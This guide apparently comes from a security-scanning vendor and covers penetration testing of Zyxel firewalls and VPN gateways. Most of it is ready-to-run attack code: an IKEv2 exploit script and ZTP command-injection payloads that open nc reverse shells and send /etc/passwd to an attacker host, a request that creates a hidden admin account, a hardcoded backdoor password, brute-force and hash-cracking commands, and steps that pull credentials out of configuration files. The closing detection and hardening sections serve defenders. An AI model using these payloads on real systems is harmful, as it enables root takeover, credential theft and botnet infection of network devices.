Zyxel firewalls and VPN gateways occupy a critical position in SMB and enterprise network perimeters — which makes them high-value targets for attackers and a mandatory scope item in any serious penetration test. This guide covers the full attack surface: from pre-authentication IKEv2 RCE and ZTP endpoint command injection to hardcoded FTP backdoor credentials and configuration backup extraction. Several Zyxel CVEs have been weaponized by Mirai botnet variants and nation-state actors alike.
Zyxel produces a broad family of security appliances — the USG FLEX series (100/200/500/700), ATP series (100/200/500/700/800), VPN series (50/100/300/1000), and legacy ZyWALL devices. All share a common firmware base (ZLD — Zyxel Linux Distribution) and expose a consistent set of management interfaces.
| Service | Protocol / Port | Purpose | Default State |
|---|---|---|---|
| Web Management (HTTP) | TCP 80 | Admin GUI (redirects to HTTPS) | Enabled on LAN |
| Web Management (HTTPS) | TCP 443 | Admin GUI + SSL VPN portal | Enabled on LAN |
| SSH | TCP 22 | CLI management | Enabled on LAN |
| FTP | TCP 21 | Firmware/config transfer (zyfwp backdoor) | Enabled (older firmware) |
| SNMP | UDP 161 | Monitoring | Disabled by default, often enabled |
| IKE (IPsec Phase 1) | UDP 500 | VPN negotiation | Enabled when VPN configured |
| IKE NAT-T | UDP 4500 | IPsec NAT traversal | Enabled when VPN configured |
| L2TP | UDP 1701 | L2TP/IPsec VPN | Configurable |
| ZTP Handler | TCP 443 | /ztp/cgi-bin/ provisioning | Enabled in affected firmware |
Internet-facing Zyxel devices are commonplace: many organizations expose the HTTPS management interface or the SSL VPN portal directly to the internet. Shodan regularly indexes 100,000+ Zyxel devices worldwide, with large concentrations in Europe, Japan, and Southeast Asia reflecting the vendor's geographic market strength.
Before testing begins, accurately identify the device model, firmware version, and ZLD release. This determines which CVEs apply and which default credentials to try.
# Full port scan with service/version detection
nmap -sV -sC -p 21,22,80,443,161/udp,500/udp,4500/udp -T4 192.168.1.1
# Grab HTTP server banner and login page title
nmap -p 443 --script http-title,http-server-header 192.168.1.1
# Check for Zyxel-specific NSE scripts
nmap --script-help "zyxel*"
# Fetch the login page — firmware version often embedded in HTML/JS
curl -sk https://192.168.1.1/ | grep -iE "ZLD|firmware|version|zyxel|USG|ATP"
# Check HTTP response headers for server identification
curl -skI https://192.168.1.1/
# Look for: Server: ZyXEL, X-Powered-By, or embedded version strings
# Fetch the webhelp version file (present on many ZLD versions)
curl -sk https://192.168.1.1/webhelp/version.htm
curl -sk https://192.168.1.1/cgi-bin/about
# The /cgi-bin/handler endpoint (pre-auth on vulnerable firmware) can leak info
curl -sk "https://192.168.1.1/cgi-bin/handler" \
-d "operation=getcapability" | python3 -m json.tool
# ZTP provisioning info endpoint
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{"command":"setSmartConnect","subCommand":"setCtrl","data":{}}' | head -c 500
# SNMP sysDescr walk — firmware version in MIB
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1.1.0
The sysDescr OID typically returns a string like ZyWALL USG FLEX 200, ZLD V5.36(ABUJ.0)b1 — enough to pinpoint the exact firmware build and applicable CVEs.
Discovered by Trapa Security in April 2023 and patched in ZLD 5.36, CVE-2023-28771 is an unauthenticated OS command injection in the IKEv2 key exchange handler. The vulnerability exists in the ikereporter daemon, which processes IKEv2 notification payloads without sanitizing user-supplied data before passing it to a system shell. Exploitation requires only that UDP 500 or UDP 4500 be reachable — no credentials needed.
Affected devices: USG FLEX 100/200/500/700, ATP 100/200/500/700/800, VPN 50/100/300/1000, ZyWALL/USG series running ZLD 4.60–5.35.
The IKEv2 daemon parses NOTIFY payloads in the IKE_SA_INIT exchange. A specially crafted notification type causes the daemon to construct a shell command string that includes an attacker-controlled field — specifically, the VPN peer identifier. The resulting command executes as root on the ZLD appliance.
#!/usr/bin/env python3
# CVE-2023-28771 PoC — IKEv2 Pre-Auth RCE
# Craft malicious IKEv2 IKE_SA_INIT with injected NOTIFY payload
# For authorized testing only
import socket
import struct
import os
TARGET_IP = "192.168.1.1"
TARGET_PORT = 500
LHOST = "10.10.10.99"
LPORT = 4444
# Reverse shell command injected into IKE notification peer ID field
CMD = f";busybox nc {LHOST} {LPORT} -e /bin/sh #"
def build_ike_sa_init(cmd):
"""
Minimal IKE_SA_INIT packet with injected notification payload.
The peer ID field is set to the OS command string.
"""
# IKE header
initiator_spi = os.urandom(8)
responder_spi = b'\x00' * 8
next_payload = 0x21 # SA
version = 0x20 # IKEv2
exchange_type = 0x22 # IKE_SA_INIT
flags = 0x08 # Initiator
msg_id = struct.pack(">I", 0)
# Notification payload: type 16388 (IKEV2_FRAGMENTATION_SUPPORTED)
# We abuse the notification data field to inject the command
notify_data = cmd.encode()
notify_payload = struct.pack(">BBHBBH",
0x00, # next payload (none)
0x00, # critical
8 + len(notify_data), # payload length
0x00, # protocol ID
0x00, # SPI size
0x4004 # notify type 16388
) + notify_data
total_len = 28 + len(notify_payload)
ike_header = (initiator_spi + responder_spi +
bytes([next_payload, version, exchange_type, flags]) +
msg_id + struct.pack(">I", total_len))
return ike_header + notify_payload
def exploit():
pkt = build_ike_sa_init(CMD)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(5)
print(f"[*] Sending malicious IKE_SA_INIT to {TARGET_IP}:{TARGET_PORT}")
sock.sendto(pkt, (TARGET_IP, TARGET_PORT))
try:
resp = sock.recvfrom(4096)
print(f"[+] Response received ({len(resp[0])} bytes) — device likely vulnerable")
except socket.timeout:
print("[?] No response — may still be vulnerable (no reply expected on error)")
sock.close()
print(f"[*] Start listener: nc -lvnp {LPORT}")
if __name__ == "__main__":
exploit()
# CVE-2023-28771 is available as a Metasploit module
msfconsole -q
use exploit/linux/misc/zyxel_ike_rce_cve_2023_28771
set RHOSTS 192.168.1.1
set RPORT 500
set LHOST 10.10.10.99
set PAYLOAD linux/mipsle/shell_reverse_tcp
run
# Verify root access once shell lands
id
# uid=0(root) gid=0(root)
uname -a
# Linux zyxel-usg #1 SMP MIPS GNU/Linux
# Use ike-scan to enumerate IKEv2 endpoints
ike-scan --ikev2 192.168.1.0/24
# Shodan dork for Zyxel IKE-speaking devices
# shodan search "ZyXEL" port:500
# Check if UDP 500 is open and responds to IKE_SA_INIT
nmap -sU -p 500,4500 --script ike-version 192.168.1.1
Disclosed by Rapid7 in April 2022, CVE-2022-30525 is an unauthenticated OS command injection vulnerability in the Zero Touch Provisioning (ZTP) handler endpoint /ztp/cgi-bin/handler. The mtu_value field in the setWanPortSt command is passed directly to a shell without sanitization, allowing arbitrary command execution as root over HTTP/HTTPS.
Affected firmware: ATP series ZLD 5.10–5.21, USG FLEX series ZLD 5.00–5.21, USG20(W)-VPN ZLD 5.10–5.21.
# Basic PoC — check for command execution via out-of-band DNS
# Replace BURP_COLLABORATOR with your OOB callback domain
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{
"command": "setWanPortSt",
"proto": "dhcp",
"wan_type": "wan",
"wan_port": "wan1_pppoe",
"mtu_value": "1500;nslookup $(hostname).BURP_COLLABORATOR #",
"data": ""
}'
# Reverse shell injection via mtu_value
LHOST="10.10.10.99"
LPORT=4444
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d "{
\"command\": \"setWanPortSt\",
\"proto\": \"dhcp\",
\"wan_type\": \"wan\",
\"wan_port\": \"wan1_pppoe\",
\"mtu_value\": \"1500;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${LHOST} ${LPORT} >/tmp/f #\",
\"data\": \"\"
}"
# On attacker — start listener before sending
nc -lvnp 4444
# Exfiltrate passwd via curl out-of-band
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{
"command": "setWanPortSt",
"proto": "dhcp",
"wan_type": "wan",
"wan_port": "wan1_pppoe",
"mtu_value": "1500;curl http://10.10.10.99:8080/$(cat /etc/passwd|base64 -w0) #",
"data": ""
}'
# Receive at attacker (python HTTP server)
python3 -m http.server 8080
# Then decode: echo 'BASE64STRING' | base64 -d
use exploit/linux/http/zyxel_cve_2022_30525_rce
set RHOSTS 192.168.1.1
set RPORT 443
set SSL true
set LHOST 10.10.10.99
set PAYLOAD linux/mipsle/meterpreter/reverse_tcp
run
# Post-exploitation: dump credentials
meterpreter > cat /etc/zyxel/ftp/conf/system-default.conf
meterpreter > cat /etc/zyxel/conf/startup-config.conf
CVE-2022-0342, disclosed in February 2022, is an authentication bypass in the web management interface affecting USG/ZyWALL series running ZLD 4.60–5.20. The /cgi-bin/handler CGI script fails to enforce authentication for certain operations, allowing unauthenticated attackers to invoke privileged functions including user management, system configuration changes, and session hijacking.
# Check if /cgi-bin/handler is accessible without authentication
curl -sk https://192.168.1.1/cgi-bin/handler \
-d "operation=getcapability"
# Attempt to enumerate admin users (unauthenticated)
curl -sk https://192.168.1.1/cgi-bin/handler \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "operation=listusers&username=admin"
# Create backdoor admin user via bypass (affected firmware only)
curl -sk https://192.168.1.1/cgi-bin/handler \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "operation=adduser&username=backdoor&password=P%40ssw0rd123&role=admin"
# Confirm bypass — retrieve system information without session cookie
curl -sk "https://192.168.1.1/cgi-bin/handler?operation=getSystemStatus"
# Extract active sessions (unauthenticated — bypass condition)
curl -sk https://192.168.1.1/cgi-bin/handler \
-d "operation=getActiveSessions" | python3 -m json.tool
# Hijack an active admin session
curl -sk https://192.168.1.1/cgi-bin/handler \
-H "Cookie: SESSION_ID=EXTRACTED_SESSION_TOKEN" \
-d "operation=exportConfig"
CVE-2020-29583, disclosed in December 2020 by EYE, revealed hardcoded credentials in Zyxel firmware for an undocumented FTP service account. The username zyfwp with password PrOw!aN_fXp was present in firmware for ATP, USG, USG FLEX, VPN, and NXC series devices. The account also grants SSH access on affected firmware — effectively a root-equivalent backdoor built into the product.
# Test for zyfwp FTP credentials
ftp 192.168.1.1
# Username: zyfwp
# Password: PrOw!aN_fXp
# Non-interactive FTP login check
curl -sk ftp://192.168.1.1/ \
--user "zyfwp:PrOw!aN_fXp" \
--list-only
# List configuration directory
curl -sk "ftp://192.168.1.1/conf/" \
--user "zyfwp:PrOw!aN_fXp" \
--list-only
# Download running configuration
curl -sk "ftp://192.168.1.1/conf/startup-config.conf" \
--user "zyfwp:PrOw!aN_fXp" -o startup-config.conf
# Test SSH access with the backdoor account
ssh zyfwp@192.168.1.1
# Password: PrOw!aN_fXp
# Note: may land in restricted Zyxel CLI rather than full shell
# Attempt shell escape from restricted CLI
Router> debug bash
# If debug bash is available, drops to root shell
# Alternative: leverage zyfwp SSH to pivot to full shell
ssh -t zyfwp@192.168.1.1 "id; uname -a"
# Common Zyxel default credentials to test
# Username / Password combinations:
# admin / 1234 (factory default — most models)
# admin / admin (reset state on some models)
# admin / password
# zyfwp / PrOw!aN_fXp (CVE-2020-29583 backdoor)
# support / support (older USG firmware)
# zyuser / 1234 (read-only account, older ZLD)
# Hydra SSH brute force with common list
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
ssh://192.168.1.1 -t 4 -w 3
# Hydra HTTP POST brute force against web GUI
hydra -l admin -P /opt/wordlists/top1000.txt 192.168.1.1 \
https-post-form \
"/cgi-bin/handler:operation=login&username=^USER^&password=^PASS^:Wrong password"
zyfwp backdoor was present across tens of thousands of internet-facing Zyxel devices. Shodan scans performed in 2021 found over 100,000 devices with FTP port 21 open. While Zyxel released a patch (ZLD 4.60 Patch 1 for USG/VPN), many devices remain unpatched years later.
Zyxel devices frequently have SNMP enabled with the default community string public, especially when managed by network monitoring systems. SNMP exposes device configuration details, interface statistics, ARP tables, routing information, and — in some firmware versions — VPN pre-shared key hashes via proprietary MIBs.
# Test default community strings
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.1
snmpwalk -v2c -c private 192.168.1.1 1.3.6.1.2.1.1
snmpwalk -v2c -c zyxel 192.168.1.1 1.3.6.1.2.1.1
# Full MIB walk (may take several minutes)
snmpwalk -v2c -c public -O e 192.168.1.1 > zyxel-snmp-full.txt
# Extract system information
snmpwalk -v2c -c public 192.168.1.1 system
# Enumerate interfaces
snmpwalk -v2c -c public 192.168.1.1 ifTable
# ARP table — reveals internal hosts
snmpwalk -v2c -c public 192.168.1.1 ipNetToMediaTable
# Routing table
snmpwalk -v2c -c public 192.168.1.1 ipRouteTable
# Zyxel enterprise OID: 1.3.6.1.4.1.890
# Enumerate Zyxel-specific configuration values
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890
# Check for VPN tunnel status and peer information
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.6.22
# Attempt SNMP write (if community string allows)
snmpset -v2c -c private 192.168.1.1 \
1.3.6.1.2.1.1.5.0 s "compromised-device"
# Community string brute force with onesixtyone
onesixtyone -c /opt/wordlists/snmp-community-strings.txt 192.168.1.1
# Test SNMPv3 with common credentials
snmpwalk -v3 -l authNoPriv -u admin -a MD5 -A "password" 192.168.1.1 system
snmpwalk -v3 -l authNoPriv -u zyxel -a MD5 -A "1234" 192.168.1.1 system
# SNMPv3 brute force with Metasploit
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 192.168.1.1
set VERSION 3
run
Zero Touch Provisioning (ZTP) was introduced in ZLD 5.x to allow automatic device configuration during deployment. Several CGI endpoints under /ztp/cgi-bin/ are accessible without authentication, exposing device configuration, WAN interface management, and system commands to unauthenticated attackers.
# Enumerate ZTP endpoints (no auth required)
for endpoint in handler getDeviceInfo getWanInfo setWanPortSt getSystemStatus; do
echo "=== Testing: $endpoint ==="
curl -sk "https://192.168.1.1/ztp/cgi-bin/$endpoint" \
-H "Content-Type: application/json" \
-d "{\"command\":\"$endpoint\"}" | python3 -m json.tool 2>/dev/null | head -20
done
# getDeviceInfo — leaks model, firmware, serial number
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{"command":"getDeviceInfo"}' | python3 -m json.tool
# getWanInfo — leaks WAN IP, gateway, DNS servers
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{"command":"getWanInfo"}' | python3 -m json.tool
# Extract firmware version string from ZTP (useful for CVE mapping)
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{"command":"getDeviceInfo"}' | \
python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('firmwareVersion','N/A'))"
# Check ZTP activation status
curl -sk https://192.168.1.1/ztp/cgi-bin/handler \
-H "Content-Type: application/json" \
-d '{"command":"getSmartConnect"}' | python3 -m json.tool
Once authenticated (or via CVE exploitation), the Zyxel configuration backup contains a wealth of sensitive data: VPN pre-shared keys, LDAP/RADIUS credentials, SMTP passwords, admin account hashes, and cloud service API keys. The configuration is stored as a text file and can be downloaded directly via the web interface or FTP.
# Download startup configuration via FTP backdoor
curl "ftp://192.168.1.1/conf/startup-config.conf" \
--user "zyfwp:PrOw!aN_fXp" -o startup-config.conf
# Download system-default configuration
curl "ftp://192.168.1.1/conf/system-default.conf" \
--user "zyfwp:PrOw!aN_fXp" -o system-default.conf
# List all config files
curl "ftp://192.168.1.1/conf/" \
--user "zyfwp:PrOw!aN_fXp" --list-only
# Login and extract session cookie
SESSION=$(curl -sk https://192.168.1.1/cgi-bin/handler \
-d "operation=login&username=admin&password=1234" \
-c - | grep SESSION | awk '{print $7"="$8}')
# Export configuration backup
curl -sk https://192.168.1.1/cgi-bin/handler \
-H "Cookie: $SESSION" \
-d "operation=exportConfig" \
-o zyxel-config-backup.conf
# Alternatively via REST API (ZLD 5.x+)
curl -sk "https://192.168.1.1/api/v1/system/backup" \
-H "Authorization: Bearer TOKEN" \
-o config-backup.tar.gz
# Extract admin password hashes
grep -E "password|passwd" startup-config.conf
# Extract VPN pre-shared keys (PSK)
grep -E "pre-shared|psk|ike.*key" startup-config.conf -i
# Extract LDAP/Active Directory bind credentials
grep -iE "ldap.*password|bind.*dn|bind.*pw" startup-config.conf
# Extract RADIUS shared secret
grep -iE "radius.*secret|shared.*secret" startup-config.conf
# Extract SMTP credentials (for alert/email notifications)
grep -iE "smtp.*user|smtp.*pass|mail.*auth" startup-config.conf
# Extract cloud/API credentials
grep -iE "api.*key|cloud.*token|license.*key" startup-config.conf
# Extract all passwords in one shot
grep -oP "(?<=password )\S+" startup-config.conf | sort -u
# Zyxel admin passwords in older ZLD use MD5-crypt ($1$)
# Extract hash from config, then crack with hashcat
grep "password" startup-config.conf | grep '\$1\$' | \
awk '{print $2}' > zyxel-hashes.txt
# Hashcat MD5-crypt
hashcat -m 500 zyxel-hashes.txt /opt/wordlists/rockyou.txt
# John the Ripper
john --wordlist=/opt/wordlists/rockyou.txt zyxel-hashes.txt
Zyxel devices commonly act as IPsec VPN concentrators, terminating site-to-site and remote-access VPN tunnels. The VPN configuration may expose pre-shared keys, XAUTH credentials, LDAP/RADIUS integration passwords, and L2TP shared secrets — all recoverable from the configuration backup or via SNMP.
# IKEv1 Aggressive Mode leaks group hash for offline cracking
ike-scan --aggressive --id=testgroup 192.168.1.1
# Full aggressive mode scan with transform proposals
ike-scan -A --id=cisco 192.168.1.1
ike-scan -A --id=vpn 192.168.1.1
ike-scan -A --id=remote 192.168.1.1
# If a hash is returned, crack it with IKECrack or hashcat
# ikecrack -f ike-capture.pcap -w /opt/wordlists/rockyou.txt
# L2TP shared secret is often in the config
grep -iE "l2tp.*secret|shared.*secret|l2tp.*key" startup-config.conf
# Test L2TP authentication with extracted shared secret
# Use strongSwan or vpnc for testing
cat > /tmp/test-vpn.conf << 'EOF'
conn zyxel-test
keyexchange=ikev1
authby=secret
left=%defaultroute
leftid=@tester
right=192.168.1.1
rightsubnet=0.0.0.0/0
ike=aes256-sha1-modp1024
esp=aes256-sha1
aggressive=yes
type=transport
EOF
echo "192.168.1.1 %any : PSK \"EXTRACTED_PSK\"" >> /etc/ipsec.secrets
# Zyxel often integrates with Active Directory via LDAP for VPN auth
# The bind DN and password are stored in the configuration
# Extract from config
grep -iE "ldap|active.directory|bind" startup-config.conf
# Use extracted credentials to query LDAP directly
ldapsearch -H ldap://AD_SERVER:389 \
-D "CN=zyxel-svc,OU=Service Accounts,DC=corp,DC=example,DC=com" \
-w "EXTRACTED_PASSWORD" \
-b "DC=corp,DC=example,DC=com" \
"(objectClass=user)" cn mail sAMAccountName
Zyxel SSH exposes both the Zyxel CLI (restricted) and, on some firmware, a full BusyBox shell when accessed with privileged accounts. The restricted CLI can often be escaped via debug bash or by exploiting shell injection in CLI commands.
# Test default credentials
ssh -o StrictHostKeyChecking=no admin@192.168.1.1
# Try: 1234, admin, password, zyxel, ZyxelUser1
# SSH with zyfwp backdoor account (CVE-2020-29583)
ssh -o StrictHostKeyChecking=no zyfwp@192.168.1.1
# Password: PrOw!aN_fXp
# Targeted brute force preserving service availability
hydra -l admin \
-P /usr/share/wordlists/passwords/common-passwords.txt \
-t 2 -w 5 -s 22 \
ssh://192.168.1.1
# Medusa — alternative SSH brute forcer
medusa -h 192.168.1.1 -u admin \
-P /opt/wordlists/top500-passwords.txt \
-M ssh -t 1
# Once logged into the Zyxel restricted CLI:
Router# debug bash
# If successful: drops to root BusyBox shell
# Alternative escape via packet trace CLI command
Router# packet-trace start interface eth0 count 1 filter "host 0.0.0.0 and $(id>/tmp/pwn)"
# Check if python/perl are available for shell escape
Router# debug bash -c "python3 -c 'import pty; pty.spawn(\"/bin/sh\")'"
# Read configuration from shell
cat /etc/zyxel/conf/startup-config.conf
cat /etc/passwd
cat /etc/shadow
Zyxel SecuExtender is the proprietary SSL VPN client deployed alongside Zyxel gateways. The client stores VPN server profiles and, in some versions, caches user credentials locally. Additionally, SecuExtender communicates with the Zyxel gateway's SSL VPN portal over HTTPS, with several known weaknesses in the authentication flow.
# Windows: SecuExtender credential files
# Located in AppData or ProgramData
$paths = @(
"$env:APPDATA\ZyXEL\SecuExtender",
"$env:LOCALAPPDATA\ZyXEL\SecuExtender",
"C:\ProgramData\ZyXEL\SecuExtender",
"$env:APPDATA\Zyxel\ZyXEL SecuExtender"
)
# Search for config and credential files
Get-ChildItem -Path $paths -Recurse -ErrorAction SilentlyContinue |
Where-Object { $_.Extension -in '.xml','.ini','.conf','.dat' } |
Select-Object FullName
# Read VPN profiles
Get-Content "C:\ProgramData\ZyXEL\SecuExtender\connections.xml"
# Linux: SecuExtender credential files
find /home -name "*.xml" -path "*/ZyXEL/*" 2>/dev/null
find /home -name "*.conf" -path "*secuextender*" 2>/dev/null
find /root -name "*zyxel*" -o -name "*secuextender*" 2>/dev/null
# Check for credentials in config files
grep -iE "password|passwd|secret|psk|token" \
/home/*/.config/zyxel/*.xml 2>/dev/null
# Enumerate SSL VPN portal login endpoint
curl -sk https://192.168.1.1/sslvpn/weblogin.cgi \
-d "username=admin&password=1234&group=" -v
# Check for VPN tunnel cookie reuse
curl -sk https://192.168.1.1/sslvpn/ -v \
-H "Cookie: SVPNCOOKIE=CAPTURED_COOKIE"
# Fuzz VPN group names (used for split-tunnel policy)
for group in default employees vpnusers remote contractors; do
echo -n "Testing group: $group — "
curl -sk https://192.168.1.1/sslvpn/weblogin.cgi \
-d "username=testuser&password=wrong&group=$group" | \
grep -c "Invalid" || echo "potentially valid"
done
Multiple Zyxel CVEs have been incorporated into Mirai botnet variants and sold as initial access by threat actors. CVE-2022-30525 was integrated into Mirai within 72 hours of public disclosure. CVE-2023-28771 was similarly weaponized within days. Understanding these IOCs is essential for blue team detection.
# Web server log patterns indicating exploitation attempts
# Look for POST requests to /ztp/cgi-bin/handler in access logs
grep 'POST.*ztp/cgi-bin/handler' /var/log/nginx/access.log
grep 'POST.*ztp/cgi-bin/handler' /var/log/apache2/access.log
# Suspicious payload patterns in request bodies
grep -E "setWanPortSt.*mtu_value" /var/log/zyxel/http.log
grep -E "(busybox|wget|curl|nc|chmod|/tmp/)" /var/log/zyxel/http.log
# Typical Mirai dropper command patterns:
# mtu_value: "1500; cd /tmp; wget http://[C2_IP]/zyxel.arm; chmod +x zyxel.arm; ./zyxel.arm #"
# Snort/Suricata rule for CVE-2023-28771 IKE exploitation
# alert udp any any -> any 500 (
# msg:"CVE-2023-28771 Zyxel IKEv2 RCE Attempt";
# content:"|00 00 00 00 00 00 00 00|"; offset:8; depth:8;
# content:"|21|"; offset:16; depth:1;
# content:"|40 04|"; within:20;
# sid:9000001; rev:1;
# )
# Zeek/Bro: monitor for oversized IKE notification payloads
# IKE_SA_INIT notify payloads > 64 bytes with non-standard types
# PCAP capture for forensic analysis
tcpdump -i eth0 -w zyxel-ike-traffic.pcap \
'udp port 500 or udp port 4500'
# Check for Mirai-pattern connections post-exploitation
# Infected devices connect to C2 on ports 23, 2323, 7547, 48101
tcpdump -i eth0 'tcp and (port 23 or port 2323 or port 48101)' -w mirai-c2.pcap
| CVE | Threat Actor / Campaign | First Exploited | Payload / C2 |
|---|---|---|---|
| CVE-2022-30525 | Mirai botnet (multiple variants) | May 2022 | Reverse shell → Mirai binary via /tmp |
| CVE-2023-28771 | Mirai-based botnets, Darkpink APT | May 2023 | IKE → root shell → Mirai/Gafgyt download |
| CVE-2020-29583 | Multiple — mass scanning observed | Jan 2021 | FTP credential abuse → config exfil |
| CVE-2022-0342 | Opportunistic mass scanning | Feb 2022 | Admin user creation → persistent access |
# On a potentially compromised device, check for:
# Unauthorized admin accounts
cat /etc/passwd | grep -v "^#" | awk -F: '$3 == 0'
# Unusual cron jobs (Mirai persistence)
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
# Suspicious binaries in /tmp (Mirai drops here)
ls -la /tmp/
file /tmp/*
# Network connections to unusual IPs
netstat -antp | grep ESTABLISHED | grep -v "192.168."
# Modified startup scripts
find /etc/init.d /etc/rc.d -newer /etc/passwd 2>/dev/null
# Check for Mirai process names
ps aux | grep -E "(mirai|gafgyt|tsunami|mozi|zyxel\.arm)"
| Control | Action | Priority |
|---|---|---|
| Firmware patching | Upgrade to ZLD 5.36+ (CVE-2023-28771) and ZLD 5.30+ (CVE-2022-30525). Subscribe to Zyxel security advisories. Enable auto-update where possible. | Critical |
| Disable FTP service | Disable the FTP service entirely if not required. The zyfwp backdoor account is removed in patched firmware, but FTP itself is unnecessary in most deployments. | Critical |
| Management interface isolation | Move HTTPS management interface to a dedicated out-of-band management VLAN. Never expose TCP 443 management to the internet — use a separate port or IP for SSL VPN if needed. | Critical |
| IKE/UDP 500 access control | Restrict UDP 500/4500 to known VPN peer IP addresses via firewall policy. If site-to-site VPN, block internet-wide access to IKE ports. | High |
| Change default credentials | Change default admin password from "1234" immediately after deployment. Enforce minimum 16-character passwords for all management accounts. | High |
| Disable ZTP after provisioning | Disable the ZTP/SmartConnect feature after initial provisioning is complete. The /ztp/cgi-bin/ endpoints should not be accessible on deployed devices. | High |
| SNMP hardening | Disable SNMP if not required. If required, use SNMPv3 with authPriv, change community strings, and restrict SNMP access by source IP via ACL. | High |
| SSH restrictions | Restrict SSH access to management VLAN/IP. Disable SSH from WAN interface. Consider certificate-based authentication and disable password auth. | High |
| Configuration backup encryption | Export configuration backups only over encrypted channels. Store encrypted backups in a secrets manager — configuration files contain all VPN PSKs and service passwords. | Medium |
| IKEv1 Aggressive Mode disable | Disable IKEv1 Aggressive Mode to prevent offline PSK cracking. Use IKEv2 with certificate-based authentication for site-to-site VPN where possible. | Medium |
| MFA for management access | Enable multi-factor authentication for web management access. Zyxel supports TOTP via the management interface on recent ZLD versions. | Medium |
| Log forwarding and SIEM | Forward Zyxel syslog to a SIEM. Alert on: failed logins, POST to /ztp/cgi-bin/, new admin account creation, configuration export events, and SSH logins from unknown IPs. | Medium |
| Network segmentation | Segment management plane from data plane. Infected Zyxel devices in Mirai botnets are used to attack other internal hosts — contain blast radius via VLAN isolation. | Medium |
| Vulnerability scanning | Include Zyxel devices in authenticated vulnerability scanner scope. Run Ironimo scans against the management interface to detect CVEs as new firmware is deployed. | Medium |
# Monitor Zyxel security advisories RSS feed
# https://www.zyxel.com/global/en/support/security-advisories/
# Check current firmware version against advisory database
curl -s "https://www.zyxel.com/global/en/support/security-advisories/" | \
grep -iE "USG|ATP|VPN|ZLD" | head -20
# Verify installed firmware hash against published checksums
# Download firmware manifest from Zyxel FTP
# ftp.zyxel.com/USG_FLEX_200/5.36/
Zyxel firewalls and VPN gateways carry an unusually high density of critical vulnerabilities for network security devices. The pre-authentication attack surface — IKEv2 RCE (CVE-2023-28771), ZTP command injection (CVE-2022-30525), authentication bypass (CVE-2022-0342), and hardcoded credentials (CVE-2020-29583) — means that an unpatched, internet-facing Zyxel device should be assumed compromised.
During a penetration test, Zyxel devices warrant aggressive testing. Start with firmware fingerprinting, check all critical CVEs against the identified version, test default credentials across all services (FTP, SSH, HTTPS, SNMP), and attempt configuration export via any available path. The configuration file alone typically yields VPN PSKs, LDAP bind credentials, and password hashes sufficient to pivot deep into the network.
For defenders, the controls are straightforward but require discipline: patch aggressively, isolate management interfaces, disable unused services, and monitor logs for the specific patterns that characterize both manual exploitation and automated botnet scanning.
Ironimo scans your Zyxel appliances for CVE-2023-28771, CVE-2022-30525, hardcoded credentials, default SNMP community strings, and dozens of additional Zyxel-specific checks — automatically, on every scan cycle. Stop chasing firmware advisories manually.
Start free scan